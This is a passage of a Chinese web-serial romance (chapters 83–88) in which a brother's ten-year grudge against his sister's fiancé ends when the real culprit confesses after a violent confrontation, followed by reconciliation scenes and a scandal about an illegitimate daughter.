她放下期刊,坐直身体,眼神带着无声的质问,飞向傅修沉。 傅修沉仿佛没看见,将礼盒交给祥叔,自然地在明嫣身边的单人沙发坐下,大衣都没脱,只是解开了纽扣。 他身形高大,瞬间让这片空间显得有些逼仄。 “你怎么来了?”明嫣声音不大,带着点刚睡醒的慵懒,更多的是不客气。 苏婉晴嗔怪地看她一眼,“嫣儿,怎么说话呢?” 傅修沉却低笑一声,视线掠过她腮边不小心沾到的一点糕屑,目光微柔,“来看看你。” 他顿了顿,补充,“顺便,和伯父伯母商量一下订婚宴的细节。昨天在电话里约好了……” “……” 合着就瞒着她一个人? “傅总日理万机,这点小事还劳您亲自跑一趟?”她皮笑肉不笑。 “你的事,没有小事。” 明嫣一噎。 明庭峰和苏婉晴交换了一个眼神,脸上笑意更深。 明嫣被他看得耳根微热,别开脸,拿起茶杯抿了一口,决定不接茬。 佣人重新上了茶点。 傅修沉与明庭峰聊了几句最近的金融动向,又与苏婉晴说了些养生话题,言谈间分寸把握得极好,既显学识,又不失对长辈的尊重。 明嫣在一旁听着,偶尔被问到,才敷衍地应两声。 “……场地我看过了几个,都觉得不错,最终还是要看嫣嫣喜欢。”傅修沉话锋一转,又将话题引回她身上。 明嫣放下茶杯,语气硬邦邦的,“我没什么喜欢的,傅总决定就好。” “中式还是西式?”他耐心极好地问。 “随便。” “礼服呢?有没有偏好的款式或者设计师?” “都行。” “请柬的样式……” “你定。” 她句句堵他,像只竖起尖刺的小刺猬。 傅修沉非但不恼,眼底那点笑意反而深了些,纵容地看着她闹脾气。 苏婉晴看不下去了,轻轻拍了下明嫣的手背,“嫣儿,好好说话,别欺负修沉。” 明嫣瞪大了眼睛,简直不敢相信自己的耳朵。 她欺负他? 到底是谁欺负谁啊?! 看着傅修沉那副‘我很好脾气你随便怎样都行’的模样,明嫣气不打一处来,那股无名火蹭蹭往上冒。 趁着父母转头去吩咐祥叔准备午饭的间隙,她猛地伸手,在傅修沉结实的小臂上狠狠掐了一把。 指尖隔着柔软的羊毛衣料,感受到紧实肌理的轮廓,用了十足的力道。 傅修沉肌肉瞬间绷紧,闷哼一声,却连眉头都没皱一下,只是侧过头,幽深的眸子沉沉看她,压低了声音,带着气音:“掐坏了,订婚宴上你挽什么?” 那声音又低又磁,带着点暧昧的哑,钻进明嫣耳朵里。 她的脸“轰”一下全红了,又羞又恼,收回手,恨不得再补一下。 这一幕,恰好被回过头来的苏婉晴看在眼里。 她先是一愣,随即眼底漫上笑意和欣慰。 之前大儿子明燃激烈反对这桩婚事,她还担心是不是真的另有隐情。 如今看来…… 这小两口之间的眉眼官司,那股亲昵自然的劲儿,是骗不了人的。 她悬着的心总算放下大半。 午饭气氛倒是融洽。 傅修沉礼仪周到,话不多,但每次开口都能恰到好处地接上明庭峰的话头,又不冷落苏婉晴。 明嫣埋头吃饭,尽量减少存在感。 刚放下碗筷,院外再次传来熟悉的汽车引擎声。 是明燃回来了! 一时间,客厅里的空气都像是瞬间凝固…… 第84章 你不是想知道真相吗? 明燃大步走进客厅,黑色大衣带着室外的冷冽,当目光触及坐在明嫣身旁的傅修沉时,脚步几不可察地一顿,眼底瞬间覆上一层寒霜,周身气压骤降。 “哥,你回来了。”明嫣站起身。 明燃“嗯”了一声,视线在她和傅修沉之间扫过,最终落在傅修沉身上,唇角扯出一抹没什么温度的弧度,“傅总。” 傅修沉从容起身,姿态依旧矜贵,“明总,好久不见。” 两个身高腿长的男人站在一处,一个冷峻锋利,一个沉稳深邃,明明脸上都没什么表情,空气中却仿佛有无形的电光噼啪作响。 硝烟味瞬间弥漫开来。 苏婉晴敏锐地察觉到气氛不对,笑着打圆场:“阿燃回来得正好,修沉在和我们商量订婚宴的细节,你也帮着参谋参谋。” 明燃脱下大衣递给祥叔,走到明嫣另一侧的单人沙发坐下,长腿交叠,姿态看似慵懒,眼神却寸寸刮过傅修沉。 “细节?”他嗤笑一声,指尖在扶手上轻点,“傅总手段了得,连宋青州那样吃人不吐骨头的老狐狸都能化为己用,借他的手清理门户,打了一场漂亮仗。区区订婚宴的细节,还不是手到擒来?” 这话夹枪带棒,直指傅修沉前段时间的“数据造假”风波。 明嫣蹙眉,下意识看向傅修沉。 傅修沉摩挲着微烫的杯壁,眼睫都未抬,“明总过奖。不过是有些人手伸得太长,不得不剁。比起明总暗中递刀,我这点自保的手段,算不得什么。” 他掀眸,目光沉静却带着无形的压力,“说起来,还要多谢明总成全。” 明燃脸色瞬间阴沉。 他利用宋青州不假,本想借刀杀人,却没料到傅修沉棋高一着,反而将计就计,把他和宋青州都算计进去,不仅清除了跃华内部的钉子,还让他白白做了恶人。 “牙尖嘴利。”明燃从牙缝里挤出几个字,眼神阴鸷,“傅修沉,你也就只剩这点颠倒黑白的本事。” “比不上明总,”傅修沉淡淡回敬,“被人当枪使了,还自觉高明。” “你!” 眼看着两人之间的火药味越来越浓,苏婉晴连忙打断:“好了好了,过去的事就让它过去。都是一家人,以后要常来常往的,何必针锋相对。” 明庭峰也沉声道:“阿燃,修沉是客人。” 明燃胸膛微微起伏,深吸一口气,强行压下翻涌的怒火,别开脸,不再看傅修沉。 傅修沉也见好就收,重新端起茶杯,敛眸品茶,仿佛刚才那场不见刀光的交锋从未发生。 客厅里的气氛一时有些沉闷。 又坐了片刻,傅修沉起身告辞。 明庭峰和苏婉晴客气地将他送到门口。 明嫣跟着起身,想送他出去,却被明燃一把拉住手腕。 “嫣儿,”明燃声音低沉,“我有话跟你说。” 明嫣蹙眉,看向傅修沉。 傅修沉目光在明燃拉着明嫣的手上停留一瞬,眸色微深,随即对明嫣微微颔首,“外面冷,别出来了。” 等送走傅修沉,明庭峰和苏婉晴对视一眼,知道兄妹俩有话要说,便借口去了楼上书房。 偌大的客厅,只剩下明嫣和明燃。 明嫣甩开明燃的手,揉了揉被他攥得发红的手腕,语气不太好:“哥,你到底想干什么?” 明燃看着她手腕上那圈红痕,眼神复杂,他闭了闭眼,再睁开时,眼底一片猩红,“你不是想知道真相吗?走吧,我带你去个地方……” …… 黑色的迈巴赫驶出明家别墅,汇入冰冷的夜色。 车速快得惊人,窗外的景物飞速倒退,模糊成一片流光。 明嫣系好安全带,看着明燃紧绷到极致的侧脸,那下颌线像是刀削斧劈,带着一种孤注一掷的决绝。 她心里莫名地发慌。 车子最终停在了一家顶级私立医院门口。 消毒水的气味钻入鼻腔,明嫣心头的不安愈发浓重。 “哥,我们来医院干什么?” 明燃没说话,直接下车,绕过来拉开她的车门,眼神示意她跟上。 VIP住院部走廊,安静得能听到心跳声。 消毒水的气味弥漫在空气中。 明燃在一间病房门口停下脚步。 他深吸了一口气,这才抬手,轻轻敲响了房门。 “请进。”里面传来一个温和的男声。 明燃推开门,拉着明嫣走了进去。 病房宽敞明亮,布置得如同高级酒店套房。 一个穿着蓝白色病号服的年轻男人靠坐在床头,手里拿着一本医学期刊。 当他抬起头,看清来人时,脸上明显掠过一丝错愕。 是陈放。 他看起来比之前清瘦了些,脸色还有些病态的苍白。 最刺目的是,他左侧眉骨上方和颧骨处,依旧残留着尚未完全消退的青紫色淤痕,甚至嘴角还带着一丝缝合后的印记。 那些伤痕,无声地诉说着当初那场暴力的惨烈。 明嫣的脚步瞬间钉在原地——陈放…… “明总?明小姐?”陈放放下期刊,温和地笑了笑,只是那笑容牵扯到嘴角的伤口,让他几不可察地蹙了下眉,“好久不见。” 明嫣喉咙发紧,下意识地回应:“陈医生……你的伤……” 陈放抬手轻轻碰了碰额角,却并未多言。 明燃走到病床前,目光沉沉地看向陈放,声音压抑着某种剧烈的情绪:“陈放,你想必应该知道我带她过来找你是想做什么。” 陈放微微一怔,看了看面色冰寒的明燃,又看了看站在门口的明嫣,似乎明白了什么。 “告诉她!”明燃抿了抿唇,像是在压抑自己的情绪,额角青筋暴起,每一个字都像是从齿缝里碾磨出来,“把你十年前亲眼看到的的事,一字不落地说出来!告诉她那个傅修沉到底是个什么货色!” 病房里的空气瞬间凝固。 可陈放却没有说话,只是抿了抿唇,他避开明燃吃人般的目光,嘴唇翕动了一下,似乎极为难。 “说啊!” 明燃一拳砸在旁边的床头柜上,发出“砰”的一声巨响,柜子上的水杯剧烈晃动,“都到这个时候了,你还要替他瞒着?!” 第85章 你,是这么跟他说的?(加更) 病房里死寂。 陈放终于抬起了头,张了张嘴,却是轻笑了一声,“明燃……我不明白你在说什么。” “……” 时间,仿佛在这一刻被冻结。 明燃脸上的表情瞬间凝固,转化为一种难以置信的荒谬。 他像是没听清,或者说,不敢相信自己听到了什么。 “你……说什么?” 陈放垂下眼眸,避开他吃人般的视线,“什么十年前?什么傅修沉?明燃,你是不是……记错了什么?我不知道你要我说什么。” 轰——! 明燃只觉得一股热血直冲头顶,眼前阵阵发黑。 记错了? 他不知道? 他竟敢说不知道?! 明嫣也彻底懵了,看看这个,又看看那个,完全搞不懂这两人在打什么哑谜。 “哥……到底怎么回事?什么十年前?陈医生他……”她忍不住开口。 明燃没理她,他只是死死地盯着陈放,那眼神像是要把他生吞活剥。 他猛地俯身,双手撑在病床两侧,将陈放禁锢在方寸之间,脸逼近他,声音压得极低,“陈放,你看着我。” 陈放身体几不可察地僵了一下,没有抬头。 “看着我!”明燃厉喝。 陈放缓缓抬起眼,对上明燃那双赤红得几乎滴血的眼睛。 “当年,是你亲口告诉我的。”明燃一字一顿,每个字都像是淬了冰,“就在你家后院,你吓得脸色发白,说……说你看见傅修沉他……” 可他的话没能说完,就被陈放打断,“明燃,我真的不记得有这回事。你是不是压力太大,产生了什么……错觉?或者,把别人的事记混了?” “……” 明燃撑在床沿的手背,青筋根根暴起,因为极度用力而剧烈颤抖着。 错觉? 记混了? 他看着陈放那张平静无波的脸,看着他眼底那丝若有若无的回避,一股从未有过的滔天愤怒,几乎要将他整个人撕裂。 就在这令人窒息的僵持时刻—— “嗡……嗡……” 明嫣口袋里的手机,突兀地震动起来。 她连忙掏出手机,下意识地扫了一眼来电显示——陆奉归。 “哥,我……我接个电话,律所有事……” 说完,明嫣拿着手机走出了病房,病房门“咔哒”一声轻响关上了。 病房里,只剩下两个男人。 空气仿佛凝滞成冰。 明燃的声音嘶哑,几乎一字一句道,“他威胁你了,是不是?” 陈放放在被子下的手,猛地攥紧了床单,“明燃……别问了。” 他深吸一口气,“我明天……明天一早的飞机,去M国。机票已经定好了……以后,就在那边定居,不回来了。” 他顿了顿,声音低得几乎听不见:“这辈子……都不回来了。” “呵……” 明燃冷笑一声。 一切都明白了。 傅修沉…… 他果然什么都做得出来! 唯一的目击证人,就要这样被逼走了。 远走他乡,永不回返。 他一步一步地后退,撞到了身后的椅子,发出刺耳的摩擦声。 他没有再看陈放一眼,转身,拉开门,身影没入门外走廊昏暗的光线里。 门,缓缓合上。 病房里,重新归于死寂。 陈放的眉头紧皱,眉眼低垂,遮住了眸底一闪而过的寒光…… …… 隔日清晨,天色未明,机场高速上雾气弥漫。 明燃一夜未眠,眼底布满血丝,指节死死攥着方向盘。 他不能就这样放陈放走——这是唯一能撕开傅修沉伪善面具的证人。 车速不断飙升,仪表盘指针震颤着划向危险区域。 国际出发厅入口处,他一眼就看见了那辆熟悉的黑色宾利。 心脏骤然沉底——傅修沉竟然先到了! 而还没等他想明白,就见那辆黑色宾利车猛地别停了一辆正准备驶入机场高速的出租车! “吱嘎——!” 刺耳的刹车声撕裂空气。 宾利车门打开,一道挺拔冷峻的身影迈步下车。 只见傅修沉穿着一身黑色长大衣,立在冬日灰蒙的天光下,像一座沉默的冰山,通身散发着骇人的戾气。 他几步走到出租车后座,猛地拉开车门,如同拎小鸡般将陈放从驾驶座拽了出来,狠狠掼在冰冷的水泥地上。 “呃啊!”陈放发出一声短促的哀嚎,眼镜飞了出去,在路面滑出老远。 明燃不由得心头一紧,连忙靠边停车,几步就冲了过去。 “傅修沉!你干什么?!”明燃怒目而视,“光天化日,你想杀人灭口吗?!” 傅修沉像是根本没听见他的质问,甚至没看他一眼。 他所有的注意力都在脚下那个蜷缩颤抖的男人身上。 他抬脚,锃亮的黑色皮鞋底,毫不留情地碾上了陈放的胯下。 “啊——!!!” 陈放的惨叫瞬间拔高,变了调,身体像一只被扔进油锅的虾米,剧烈地弓起,双手死死捂住被踩踏的部位,整张脸因极致的痛苦而扭曲变形,冷汗瞬间浸透了额发。 明燃看得头皮发麻。 “住手!”他冲上前,试图推开傅修沉。 傅修沉甚至没用多大劲,只随意地一拂手臂,明燃就被一股巧劲带得踉跄着倒退了好几步,脊背重重撞在迈巴赫的车门上,发出一声闷响。 而就这眨眼的功夫,陈放竟忍着剧痛,手脚并用地朝着路边绿化带爬去,想要逃离。 傅修沉眼神一戾,几步追上,大手猛地揪住陈放后脑的头发,用力向后一扯! “啊!”陈放痛得仰起头,脖颈拉出脆弱的弧线。 傅修沉将他整个人拖拽回来,一拳狠狠砸在他的腹部。 “呕……”陈放被打得干呕出声,胃里翻江倒海,胆汁都仿佛要吐出来。 “别……别打了……傅少……饶……饶命……” 明燃看得心惊肉跳,连忙冲上去,怒声道,“傅修沉!你他妈疯了?!” 傅修沉的动作停顿了一瞬。 他侧过头,看向明燃,“让开。” 只两个字,冰冷,不容置喙。 明燃的脸色阴沉,几乎咬牙切齿,“傅修沉,别以为你逼他闭嘴,你当年干的那点龌龊事就没人知道了!他早就告诉我了!十年前你是怎么对嫣儿的,我一清二楚!” 他几乎是吼出来的,积压了十年的怒火在这一刻彻底爆发。 空气仿佛在这一刻凝固。 傅修沉的动作彻底停住。 他缓缓地……缓缓地转过头,目光第一次真正落在了明燃脸上。 那眼神里,是明燃读不懂的,极其复杂的情绪……似是裹挟着山雨欲来的风暴。 他松开了揪着陈放头发的手。 陈放像一滩烂泥般软倒在地,只有出的气,没有进的气。 傅修沉弯腰,大手一把攥住陈放染血的衬衫前襟,将他上半身提离地面,迫使那双涣散惊恐的眼睛对上自己。 他的声音不高,却像是从地狱传来,每个字都带着血腥气: “你,是怎么跟他说的?” 第86章 我还是喜欢你几分钟前桀骜不驯的样子 这话一出,明燃猛地扭头看向傅修沉,眼底满是震惊与不敢置信。 傅修沉的眼神冷得像冰,攥着陈放衣领的手又收紧了几分,“说。” 陈放被勒得脸色发紫,涕泪横流,崩溃地大喊:“我说!我说!十年前……不是傅少……是我!是我鬼迷心窍!” 明燃的脑子“嗡”的一声,浑身的血液仿佛瞬间冻结。 陈放的声音带着哭腔,充满了绝望的悔恨,“我还没来得及做什么……傅少就冲过来了……他把我拽开,狠狠揍了我一顿……警告我不准说出去,否则就杀了我……” 他痛哭流涕地看向明燃,“我……我害怕傅少……也怕你知道真相后会打死我!所以我……我就撒谎……说是傅少想对明嫣不轨……我、我不是人!我是畜生!” 每一个字都像一把淬毒的刀,狠狠捅进明燃的心脏。 原来…… 这十年,他恨错了人。 他把救了妹妹的恩人,当成了不共戴天的仇敌! 而真正的禽兽,却被他视为好友! 巨大的荒谬感和蚀骨的悔恨如同海啸,瞬间将他淹没。 明燃双目赤红地扑了上去,一拳狠狠砸在陈放脸上! “畜生!我他妈杀了你!” 他像是疯了一样,拳头如同雨点般落下,陈放被打得毫无还手之力,只能抱着头蜷缩在地上,发出痛苦的哀嚎。 眼看陈放出气多进气少,傅修沉终于上前,一把握住了明燃再次挥下的手腕。 “够了。” 明燃猛地甩开他的手,血红的眼睛瞪着他,“放开!我要打死这个畜生!” 傅修沉的声音冷静得近乎残酷,“为了这种人渣脏了手,不值得。” 明燃的动作僵住,胸口剧烈起伏,死死瞪着地上奄奄一息的陈放,最终还是喘着粗气,缓缓放下了拳头。 他转过头,眼神复杂地看向傅修沉,喉结滚动了几下,干涩地挤出三个字:“……谢谢你。” 谢谢他当年救了明嫣。 谢谢他这十年守口如瓶。 谢谢他……直到今天,才让真相大白。 傅修沉勾了勾唇,眼底却没什么笑意,“别,我还是喜欢你几分钟前桀骜不驯的样子。” 明燃:“……” 这狗东西的嘴真是永远那么欠! 刚刚升起的那么一丁点感激和愧疚,瞬间被这家伙打散得七七八八! 他狠狠瞪了傅修沉一眼,甩开他的手,烦躁地扒了扒头发。 但心底那根紧绷了十年的弦,却在这一刻,悄然断裂。 十年恩怨,冰释前嫌。 虽然方式如此戏剧性,甚至狼狈。 傅修沉没再理会地上半死不活的陈放,直接打了个电话,自然有人来处理后续。 他看了一眼脸色依旧难看的明燃,挑了挑眉:“喝一杯?” 明燃憋着一口气,闷声道:“喝!他妈的今天不醉不归!” …… ‘栩光’酒吧的贵宾包厢里,许宴清正窝在沙发里,跟几个狐朋狗友唾沫横飞地编排明燃。 “你们是不知道明瘸子那家伙有多讨厌!整天摆着张死人脸,好像谁都欠他几百万似的!仗着腿脚不利索,就知道在商场上耍阴招……” 正说得起劲,包厢门被推开。 许宴清眼睛一亮,立刻起身迎上去,“操,傅少!你……” 话音未落,他就看到了傅修沉身后那个高大冷峻的身影。 许宴清脸上的笑容瞬间僵住,眼珠子差点瞪出来,活像见了鬼。 其他几个人也面面相觑,包厢里瞬间安静得落针可闻。 傅修沉像是没看到他们的震惊,很自然地走到主位坐下,对侍应生道:“开几瓶烈的。” 明燃冷着脸,无视许宴清那仿佛能吞下一个鸡蛋的表情,直接在傅修沉旁边坐下,浑身散发着“生人勿近”但偏偏和傅修沉“很近”的诡异气场。 许宴清凑到傅修沉身边,压低声音,几乎是用气音问道:“傅、傅少……这什么情况?你把他……绑来的?” 傅修沉斜睨了他一眼,没说话,自顾自地倒了一杯酒。 明燃听见了,冷哼一声,拿起刚倒满的酒杯,仰头一饮而尽,辛辣的液体灼烧着喉咙。 许宴清看看这个,又看看那个,挠了挠头,彻底懵了。 这俩人……画风不对啊! 接下来的几个小时,明燃几乎是往死里喝。 他一句话也不说,只是不停地灌酒。 傅修沉也没拦着他,偶尔跟他碰一下杯,沉默地陪着他喝。 许宴清和其他人面面相觑,完全搞不懂这两个大佬在玩什么,包厢里的气氛诡异得让人坐立难安。 最后,明燃彻底醉得不省人事,瘫在沙发上,嘴里还含糊不清地念叨着:“畜生……王八蛋……” 傅修沉皱了皱眉,虽然有些嫌弃,但还是起身将他架起来,“我送他回去。” 许宴清连忙点头如捣蒜,看着傅修沉扶着明燃离开的背影,忍不住爆了句粗,“操!” …… 明家别墅门口,傅修沉按响了门铃。 已经睡下的明嫣被吵醒,穿着睡衣,迷迷糊糊地跑来开门。 当她借着门廊的灯光,看清门外站着的是傅修沉,而他怀里还架着醉醺醺,已经不省人事的大哥明燃时,她瞬间呆若木鸡,眨了眨眼,甚至怀疑是自己开门的方式不对,出现了幻觉。 然后—— “砰!” 她猛地关上门,背靠着门板,用力揉了揉眼睛。 一定是她看错了! 傅修沉怎么可能送她哥回家? 他们不是死对头吗? “砰砰砰!” 门外传来急促的敲门声,伴随着明燃含糊不清的吼叫:“开门!嫣儿!快开门!” 明嫣犹豫了一下,再次打开门。 醉醺醺的明燃立刻揪住她的耳朵,不满地嚷嚷:“你刚才为什么关门?啊?没看见傅修沉来了吗?这么没礼貌?!” 明嫣疼得龇牙咧嘴,一脸懵地看着自家大哥,怀疑他是不是被什么东西夺舍了。 他不是最讨厌傅修沉吗? 怎么现在反倒帮着他说话了? 傅修沉眉头微皱地上前拽开明燃的手,看到少女红彤彤的耳尖时,嘴角不自觉地抿平。 可下一秒,他的胳膊就被明燃一把抱住,“天……天这么晚了!你……你别回去了!就……就在我家睡!我家……客房多的是!” 明嫣:“……” 她看着勾肩搭背的两人,只觉得自己的世界观,在今晚被彻底刷新了。 这……到底发生了什么?! 第87章 傅修沉同父异母的……妹妹 隔日清早,闹钟尖锐作响。 明燃的额角青筋突突直跳,宿醉的后遗症如同钝刀一下下凿着他的太阳穴。 他揉着发胀的额角,起身朝浴室走去。 冰凉的水扑在脸上,勉强驱散了几分混沌。 他眉头紧锁,昨晚的记忆断断续续,只记得和傅修沉喝了很多酒,后来…… 后来怎么了? 他甩甩头,试图将那些模糊的片段甩出去,胃里空得发慌,只想赶紧下楼找点吃的。 然而,他刚拉开房门—— 对面客房的门,也几乎在同一时间被从里面拉开。 明燃:“……” 操! ——傅修沉?! 他怎么在这儿?! 傅修沉显然也刚起,额前碎发随意垂落,遮住了部分眉眼,少了几分平日的冷冽,但眼神依旧深邃。 他看着明燃一副见鬼的表情,眉梢微挑,没说话。 “你……”明燃指着傅修沉,手指都在抖,“你怎么在我家?!” 就在这时,楼梯口传来脚步声,苏婉晴端着杯温水上来,看见对峙的两人,愣了一下,随即笑道:“都醒了?正好,下来吃早饭。” 她一脸嗔怪地看向明燃,“你还好意思问人家怎么在这儿?昨晚你喝得烂醉如泥,死活拉着他不让走,非要他留下来陪你……说客房多的是,随便睡……” 苏婉晴说着,还无奈地摇了摇头,“你这孩子,喝多了就没个正形。” 明燃:“!!!” 他猛地扭头看向傅修沉,脸上像是打翻了调色盘,一阵青一阵白,精彩纷呈。 他……他昨晚竟然拉着傅修沉……死乞白赖地让他留下来睡觉?! 这怎么可能?! 他是不是疯了?! 傅修沉迎着他不敢置信的目光,唇角几不可察地勾了一下,随即对着苏婉晴微微颔首,“伯母,早。” 苏婉晴笑容温和,越看傅修沉越满意,“早餐准备好了,快下楼吃点东西,暖暖胃。” …… 早餐桌上,气氛诡异。 明庭峰偶尔抬眼扫过对面并排坐着的傅修沉和明嫣,又看看旁边脸色铁青,埋头猛喝粥的大儿子,眉头微挑,但也没多问。 苏婉晴则不停地给傅修沉夹菜,嘘寒问暖,那模样简直比亲儿子还亲。 明嫣小口小口地喝着牛奶,眼神却时不时偷偷瞟向自家大哥和身边的傅修沉。 她心里的好奇都快溢出来了! 这到底是怎么回事? 昨天这两人还势同水火,恨不得把对方生吞活剥,怎么过了一晚上,就变得这么…… 和谐了? 而就在气氛微妙时刻,明燃放在桌上的手机突然嗡嗡震动起来。 他瞥了一眼,眉头几不可察地蹙起,拿起手机,“我接个电话。” 说完,便起身走向客厅外的阳台,并顺手拉上了玻璃门。 阳台外,冬日的晨光熹微,带着几分清冷。 明燃背对着餐厅,接起电话,声音压得有些低。 餐厅里隐约能听到他模糊的应声。 “嗯……” “确定?” “知道了。” 不过短短几十秒,通话就结束了。 明燃握着手机在原地站了几秒,这才转身拉开玻璃门走回餐厅。 他脸上的表情看似与刚才无异,但细看之下,眼底却多了一层晦暗难明的神色,像是蒙上了一层薄薄的阴翳。 他沉默地坐回自己的位置,重新拿起勺子,却只是无意识地搅动着碗里已经微凉的粥,没了再动口的意思。 这细微的变化,坐在他对面的傅修沉尽收眼底。 他不动声色地端起手边的咖啡杯,抿了一口,视线淡淡掠过明燃微微绷紧的下颌线。 一顿各怀心思的早餐终于在略显沉闷的气氛中结束。 苏婉晴招呼着佣人收拾餐桌,明庭峰起身去了书房。 明燃站起身,走到傅修沉身边,手指在桌上敲了敲,眼神示意了一下通往花园的方向,“抽根烟?” 傅修沉抬眸看了他一眼,没说什么,跟着站起身。 两个身高腿长的男人一前一后走出客厅,来到庭院一角那棵光秃秃的老槐树下。 初冬清晨的空气带着凛冽的寒意,呵出的气都成了白雾。 明燃从大衣口袋里摸出烟盒,抽出一支递给傅修沉,自己也叼上一支,低头,用手拢着打火机跳跃的火苗,先给傅修沉点上,再点燃自己的。 猩红的火点在微暗的晨光里明明灭灭。 两人都没说话,沉默地吞吐着烟雾,尼古丁的气息混杂着冷空气,有种别样的冷冽。 白色的烟圈缓缓散开,模糊了彼此的表情。 过了一会儿,明燃深吸一口烟,看着袅袅上升的青灰色烟雾,声音有些发沉,带着刚抽过烟的沙哑:“陈放那孙子……后来被人套麻袋扔黄浦江里差点淹死,捞上来的时候只剩半条命,是你做的吧?” 傅修沉夹着烟的手指顿了顿,弹了弹烟灰,喉间溢出一个低沉的单音:“嗯。” 明燃冷哼一声,眼神锐利得像淬了冰的刀锋:“剩下的,我来。你别插手了。” 他这话说得没头没尾,但傅修沉却听懂了。 他指的是彻底料理陈放,以及可能牵扯出的后续麻烦。 傅修沉侧过头,深邃的目光在明燃紧绷的侧脸上停留片刻,烟雾缭绕中,他的眼神有些莫测。 他没多问,只是淡淡地应了一声:“随你。” 有些事,确实由明燃来做更合适,也更…… 解恨。 两人之间再次陷入沉默,只剩下烟草静静燃烧的细微声响。 …… 而此时,客厅里,明嫣正窝在沙发上,抱着手机无聊地刷着社交媒体。 突然,一条加粗标红的爆炸性新闻推送猛地弹了出来,标题劲爆得让她瞬间瞪大了眼睛—— 【惊爆!沪圈豪门秘辛!已故傅氏长子傅成业疑似流落在外私生女曝光!】 下面还配了一张模糊却依稀能辨认出五官的抓拍照片——照片上的女人,穿着一身名牌,正从一辆豪车上下来…… 不是秦婉又是谁?! 明嫣的手指僵在屏幕上方,心脏猛地一跳,几乎怀疑自己是不是眼花了。 秦婉?! 她怎么会和傅修沉早已去世的父亲傅成业扯上关系?! 私生女?! 这……这怎么可能?! 她不是傅承平的女儿吗? 怎么成了傅修沉同父异母的……妹妹? 第88章 怎么这么可爱……(加更) 而此时,傅修沉和明燃前一后回到客厅。 刚踏进门,傅修沉就看见明嫣盘腿坐在沙发上,抱着个手机,小脸皱成一团,眼神直勾勾地盯着屏幕,连他们进来都没察觉。 傅修沉眉头几不可察地蹙起,刚想开口时,口袋里的手机却先一步嗡嗡震动起来。 他拿出手机,扫了一眼来电显示——许宴清。 这个时候打来? 他划开接听键,将手机放到耳边:“说。” 电话那头,许宴清的声音难得收起了平日的吊儿郎当,带着几分急促和严肃,语速飞快地说了些什么。 傅修沉听着,脸上没什么表情,只有那双深邃的眼眸微微眯起,眼底掠过一丝冷芒。 “知道了。”他听完,只淡淡回了三个字,便干脆利落地挂了电话。 收起手机,他转头看向明燃和望向自己的明嫣,语气平静无波:“家里出了点儿事,我就不多留了。” 明燃正拿起水杯喝水,闻言动作一顿,挑眉看他,“行,回吧……” 傅修沉点了点头,然后又看了明嫣一眼,这才转身朝门外走去。 傅家出事? 是不是她方才看见的那条媒体爆料? 明嫣抿了抿唇,像是突然想到了什么,噌地一下从沙发上弹起来,鞋都顾不上穿好,趿拉着拖鞋就追了出去。 “傅修沉!” 庭院里,冬日的阳光带着点虚弱的暖意,落在男人深灰色的大衣上。 傅修沉听到声音,脚步顿住,回身。 明嫣气喘吁吁地跑到他面前,因为跑得急,脸颊泛着红晕。 “是不是……是不是因为秦婉那个新闻?”她仰着头,语气急切,“我看到推送了!说她是你父亲的私生女?这根本就是胡说八道!我知道是怎么回事!” 傅修沉垂眸看着她,眼神深沉,没说话,似乎在等她继续。 明嫣深吸一口气,语速飞快地把自己知道的情报像倒豆子一样噼里啪啦全说了出来:“秦婉应该是傅承平的女儿!我查到秦晓林和傅承平关系密切,他们有很多秘密往来,资金、行程还有开房记录都对得上!这肯定是他们母女搞的鬼,想混淆视听,趁机让秦婉认祖归宗,攀上傅家!” 她一股脑儿说完,紧张地看着傅修沉,生怕他不信,又补充道:“我有证据!虽然还不算特别充分,但指向性很明确!” 傅修沉安静地听她说完,看着她因为激动而微微起伏的胸口,原本冷峻的眉眼不易察觉地柔和了几分。 他忽然低低地笑了一声,向前逼近一步。 高大的身影瞬间笼罩下来,带着无形的压迫感。 明嫣被他突然的靠近弄得心跳漏了一拍,下意识想后退,却被他伸手揽住了腰肢,往身前一带。 “我们小明律师,”他嗓音低沉,带着点戏谑的磁性,“这是在担心我?” “谁、谁担心你了!”她嘴硬,“我这是……这是维护法律公正!揭露事实真相!不能让坏人得逞!” “哦?”傅修沉挑眉,尾音拖长,另一只手抬起,指尖轻轻拂过她颊边散落的发丝,动作暧昧又亲昵,“只是这样?” 他的指尖带着微凉的温度,触碰到她敏感的耳廓,明嫣浑身一颤,像只被踩了尾巴的猫,猛地拍开他的手。 “傅修沉!我跟你说正事呢!”她又羞又恼,瞪圆了眼睛,“你认真点行不行!” 看着她炸毛的样子,傅修沉眼底的笑意更深。 他非但没收敛,反而得寸进尺地低下头,薄唇几乎要贴上她的额头,温热的气息喷洒下来: “我很认真。”他声音压得更低,像大提琴般醇厚诱人,“认真地在想……我的未婚妻,怎么这么可爱。” “!!!” 明嫣的脸“轰”地一下彻底红透,连脖颈都染上了绯色。 这个老流氓! 都什么时候了,还有心思撩她! “你……你赶紧走吧!”她气急败坏地用力推他结实的胸膛,手感硬邦邦的,根本推不动,“回去处理你的家事!别在这儿耍流氓!” 傅修沉顺势握住她推拒的小手,包裹在掌心。 他的手掌温暖而干燥,带着令人心安的力量。 “放心。”他收起玩笑的神色,目光沉静地看着她,“跳梁小丑而已,翻不起风浪。” 他微微用力,将她轻轻拥入怀中。 这是一个短暂却坚实的拥抱。 明嫣的脸颊贴在他微凉的大衣面料上,能闻到清冽的木质香和淡淡的烟草味,混合在一起,形成一种独特而令人心悸的气息。 她的心跳瞬间失序,大脑一片空白,连挣扎都忘了。 “等我回来。”他在她耳边低语。 说完,他便松开了她,转身大步流星地朝着停在院门口的黑色宾利走去。 明嫣站在原地,看着他的背影消失在车门后,引擎发动,车子利落地驶离。 直到车尾灯都看不见了,她才缓缓抬起手,捂住依旧狂跳不止的心口。 脸颊滚烫,耳根发热,被他握过的手,被他揽过的腰,被他贴近的额头…… 所有被他触碰过的地方,都像是留下了无形的烙印,灼热难耐。 “混蛋……”她小声骂了一句,嘴角却不自觉地,悄悄弯起了一个极小的弧度。 …… 宾利车内,气氛冷凝。 傅修沉靠在后座,闭目养神,指尖无意识地摩挲着刚才握过明嫣手腕的地方,仿佛还能感受到那细腻的触感和温热的体温。 司机透过后视镜看了一眼,小心翼翼地问:“傅总,回老宅?” “嗯。”傅修沉眼皮都没抬,淡淡应了一声。 他拿出手机,快速拨了个电话,言简意赅地下达指令,声音冷静得没有一丝波澜。 “查清楚,消息最初是从哪里放出来的。” “联系各大媒体平台,我不希望再看到任何相关讨论。” “准备好秦晓林和傅承平的所有往来记录,尤其是开房记录和资金流水。” “还有……通知老宅那边,我半小时后到。” 每一条指令都清晰明确,带着杀伐决断的凌厉。 